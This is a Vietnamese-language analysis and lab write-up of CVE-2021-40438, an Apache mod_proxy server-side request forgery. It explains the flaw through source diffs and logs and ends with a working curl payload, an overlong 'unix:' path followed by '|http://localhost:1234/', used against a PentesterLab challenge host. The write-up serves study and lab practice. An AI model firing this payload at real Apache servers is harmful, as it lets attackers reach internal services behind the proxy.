# **CVE-2021-40438: Server Side Request Forgery in Apache** # I. Tổng quan ## 1. Phiên bản khai thác Server version: Apache/2.4.48 (Debian) Server built: 2021-08-12T09:37:43 ## 2. CVE-2021-40438 CVE-2021-40438 là lỗ hổng SSRF (Giả mạo yêu cầu phía máy chủ). Do “mod_proxy” của Máy chủ web Apache không xác thực đúng UDS(unix domain socket), chúng ta có thể sử dụng một tên miền unix không hợp lệ có độ dài chuỗi lớn hơn “APR_PATH_MAX (4096)” và sau đó gây ra một đường dẫn khác sau “|” ký tự ở đuôi sẽ được sử dụng ## 3. Unix Domain Socket Unix Domain Socket là một cách để giao tiếp dữ liệu diễn ra hai chiều trên cùng một hệ thống. Socket bao gồm Unix Domain Socket là một phần quan trọng của giao tiếp giữa các quá trình , một phương pháp hữu ích trong đó các chương trình khác nhau trên cùng một hệ thống có thể giao tiếp với nhau # II. Phân tích và khai thác # 1. Phân tích nguyên nhân lỗi CVE-2021-40438 bắt nguồn từ mo-dun mod_proxy trong máy chủ Apache. Mo-dun mod_proxy chịu trách nhiệm ủy quyền một yêu cầu được tạo thủ công giữa máy chủ Apache và các máy chủ khác, cho phép máy chủ giao tiếp với các hệ thống phụ trợ. Tuy nhiên modun này đã không xác thực hợp lệ URL đầu vào, cho phép kẻ tấn công thao túng URL và có khả năng thực hiện một cuộc tấn công SSRF. Do lỗi này được phát hiện nội bộ nên có khá ít thông tin về nó, nhưng từ phần thay đổi trong trong file proxy_util.c ta có thể nhìn nhận được một số thông tin như sau ``` static void fix_uds_filename(request_rec *r, char **url) { char *ptr, *ptr2; if (!r || !r->filename) return; if ( !strncmp(r->filename, "proxy:", 6) && - (ptr2 = ap_strcasestr(r->filename, "unix:")) && - (ptr = ap_strchr(ptr2, '|'))) { apr_uri_t urisock; apr_status_t rv; *ptr = '\0'; rv = apr_uri_parse(r->pool, ptr2, &urisock); if (rv == APR_SUCCESS) { char *rurl = ptr+1; char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path); apr_table_setn(r->notes, "uds_path", sockpath); *url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */ /* r->filename starts w/ "proxy:", so add after that */ memmove(r->filename+6, rurl, strlen(rurl)+1); ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r, "*: rewrite of url due to UDS(%s): %s (%s)", sockpath, *url, r->filename); } else { *ptr = '|'; } } } ``` Hai dòng bắt đầu từ dấu "-" là của phiên bản mắc lỗi. Quy trình công việc chung là trích xuất URL thực tế để sử dụng cho chuyển hướng bằng cách định vị chuỗi unix: ở đâu đó trong URL và theo sau là tên tệp và ký tự dấu gạch ngang ( | ); tên tệp xác định domain socket, sau đó proxy cần chuyển hướng bất kỳ thứ gì sau ký tự "|"" đến nó. Điều quan trọng cần lưu ý là một URI như vậy chỉ nên được tạo nội bộ bởi chính Apache; nó không nên đến từ bên ngoài, vì quyền truy cập vào domain socket tùy ý tự nó là một SSRF tiềm năng. # 2. Khai thác như thế nào Để khai thác được CVE-2021-40438, chúng ta cần phân tích thêm một số mã nguồn liên quan. Từ log của mod_proxy có dạng như sau: ``` 1. mod_proxy.c(683): [client 127.0.0.1:60996] AH03461: attempting to match URI path '/test' against prefix '/' for proxying 2. mod_proxy.c(778): [client 127.0.0.1:60996] AH03464: URI path '/test' matches proxy handler 'proxy:http://localhost:8000/test' 3. proxy_util.c(2244): [client 127.0.0.1:60996] http: found worker http://localhost:8000/ for http://localhost:8000/test?unix:|test 4. proxy_util.c(2223): [client 127.0.0.1:60996] *: rewrite of url due to UDS(/var/run/apache2/): test (proxy:test) 5. mod_proxy.c(1258): [client 127.0.0.1:60996] AH01143: Running scheme http handler (attempt 0) 6. [client 127.0.0.1:60996] AH01144: No protocol handler was valid for the URL / (scheme 'http'). If you are using a DSO version of mod_proxy, make sure the proxy submodules are included in the configuration using LoadModule. ``` Ta có thể thấy ở dòng số 4 có hint là file /var/run/apache2 và UDS, khi tìm đến file mã nguồn /var/run/apache2 ta thấy đoạn xử lý UDS như sau ``` char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path); apr_table_setn(r->notes, "uds_path", sockpath) ``` Ta thử gửi 1 requests có dạng như sau để kiểm tra có thể thao túng tham số được truyền vào hàm "ap_runtime_dir_relative" hay không? ``` GET /?unix:testsocket|http://test/ HTTP/1.1 ``` Kết quả trả về log của mod_proxy là: ``` 1. mod_proxy.c(683): [client 127.0.0.1:56196] AH03461: attempting to match URI path '/' against prefix '/' for proxying 2. mod_proxy.c(778): [client 127.0.0.1:56196] AH03464: URI path '/' matches proxy handler 'proxy:http://localhost:8000/' 3. proxy_util.c(2244): [client 127.0.0.1:56196] http: found worker http://localhost:8000/ for http://localhost:8000/?unix:testsocket|http://test/ 4. proxy_util.c(2223): [client 127.0.0.1:56196] *: rewrite of url due to UDS(/var/run/apache2/testsocket): http://test/ (proxy:http://test/) 5. mod_proxy.c(1258): [client 127.0.0.1:56196] AH01143: Running scheme http handler (attempt 0) 6. proxy_util.c(2438): AH00942: http: has acquired connection for (localhost) 7. proxy_util.c(2494): [client 127.0.0.1:56196] AH00944: connecting http://test/ to test:80 8. proxy_util.c(2530): [client 127.0.0.1:56196] AH02545: http: has determined UDS as /var/run/apache2/testsocket 9. proxy_util.c(2717): [client 127.0.0.1:56196] AH00947: connected / to httpd-UDS:0 10. (2)No such file or directory: AH02454: http: attempt to connect to Unix domain socket /var/run/apache2/testsocket (localhost) failed 11. [client 127.0.0.1:56196] AH01114: HTTP: failed to make connection to backend: httpd-UDS 12. proxy_util.c(2453): AH00943: http: has released connection for (localhost) ``` Từ dòng số 4 ta đã thấy tham số "testsocket" đã được thêm vào => chúng ta có thể kiểm soát được tham số này Tuy nhiên dòng số 10 đã thông báo không thể kết nối đến Unix domain socket. Để tiếp tục khai thác chúng ta tiếp tục phân tích cách đặt uds_path trong hàm "ap_runtime_dir_relative". Hàm đặt uds_path được đặt ở đây ``` uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path")); if (uds_path) { if (conn->uds_path == NULL) { /* use (*conn)->pool instead of worker->cp->pool to match lifetime */ conn->uds_path = apr_pstrdup(conn->pool, uds_path); } if (conn->uds_path) { ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02545) "%s: has determined UDS as %s", uri->scheme, conn->uds_path); } else { /* should never happen */ ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02546) "%s: cannot determine UDS (%s)", uri->scheme, uds_path); } /* * In UDS cases, some structs are NULL. Protect from de-refs * and provide info for logging at the same time. */ if (!conn->addr) { apr_sockaddr_t *sa; apr_sockaddr_info_get(&sa, NULL, APR_UNSPEC, 0, 0, conn->pool); conn->addr = sa; } conn->hostname = "httpd-UDS"; conn->port = 0; } else { ``` Từ đây ta có thể thấy được nó sẽ lấy đường dẫn được lưu trong bộ đệm ẩn trong worker hoặc nếu không có nó sẽ lấy đường dẫn được lưu trong ghi chú yêu cầu là “uds_path”. Vì biến uds_path ở đây chỉ là một chuỗi C nên cách duy nhất để tránh đường dẫn mã này là biến nó thành NULL. ### 2.1 Cách đặt uds_path Để có được đường dẫn UDS, đầu tiên nó gọi hàm "ap_runtime_dir_relative()" và "apr_filepath_merge()"" trong filepath.c của thư viện Apache Portable Runtime. Hàm đó sẽ trả về lỗi nếu độ dài của tệp cộng với 4 vượt quá giá trị của "APR_PATH_MAX", "APR_PATH_MAX" có giá trị là 4096. ``` rootlen = strlen(rootpath); maxlen = rootlen + strlen(addpath) + 4; /* 4 for slashes at start, after * root, and at end, plus trailing * null */ if (maxlen > APR_PATH_MAX) { return APR_ENAMETOOLONG; } ``` Khi nhập một giá trị lớn hơn 4096 ký tự, "ap_runtime_dir_relative()" sẽ coi là lỗi và sẽ trả về 1 giá trị là NULL ``` char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path); apr_table_setn(r->notes, "uds_path", sockpath); *url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */ /* r->filename starts w/ "proxy:", so add after that */ memmove(r->filename+6, rurl, strlen(rurl)+1); ``` Socketpath được trả về sẽ ghi thẳng vào notes, nên nếu có thể khai thác mã lỗi này, ta có thể khiến tên tệp phải viết lại, giá trị của UDS vẫn là NULL và sẽ nhận giá trị phía sau dấu | làm Unix domain socket. **Tóm lại, khi nhập một giá trị lớn hơn 4096 ký tự sau ký tự "unix:", cơ chế đọc uds_path sẽ bỏ qua phần này vì nó có giá trị là NULL và ưu tiên URL phía sau dấu | để kết nối đến, URL phía sau này có thể bị thao túng bởi người dùng nên dẫn đến lỗi SSRF ** ### 2.2 Khai thác trên pentesterlab - Access URL "http://ptl-206b3fd7-baeb04ca.libcurl.so/" và yêu cầu của challenge ![](https://hackmd.io/_uploads/r1fIsidPn.png) - Để hoàn thành được challenge này, cần khai thác lỗi CVE-2021-40438 qua localhost với port là 1234. - Đầu tiên cần setup httpserver với port 1234 bằng command sau ``` python3 -m http.server 1234 ``` ![](https://hackmd.io/_uploads/SJW6jsOv2.png) - Sau khi setup xong http server, ta tiến hành khai thác CVE-2021-40438 - Như đã khai thác ở trên, để khai thác được CVE này, cúng ta cần tải lên số ký tự trước dấu | vượt quá 4096 ký tự để giá trị này thành null và apache server sẽ nhận URL phía sau dấu | để kết nối đến - Dùng python để tạo số ký tự "A" lớn hơn 4096, phía sau dấu | đặt URL là http://localhost:1234 - Câu lệnh hoàn chỉnh ``` curl "http://ptl-206b3fd7-baeb04ca.libcurl.so/?unix:$(python3 -c 'print("A"*7701, end="")')|http://localhost:1234/" ``` Sau khi chạy câu lệnh này, như đã phân tích ở trên, do số ký tự sau unix: là 7000 vượt quá 4093 ký tự, nên uds_path ở đây được set với giá trị là null, nên apache sever sẽ bỏ qua giá trị này và ưu tiên giá trị sau dấu | là http://localhost:1234 để kết nối đến. - Hoàn thành challenge ![](https://hackmd.io/_uploads/Bk1b6iOv3.png)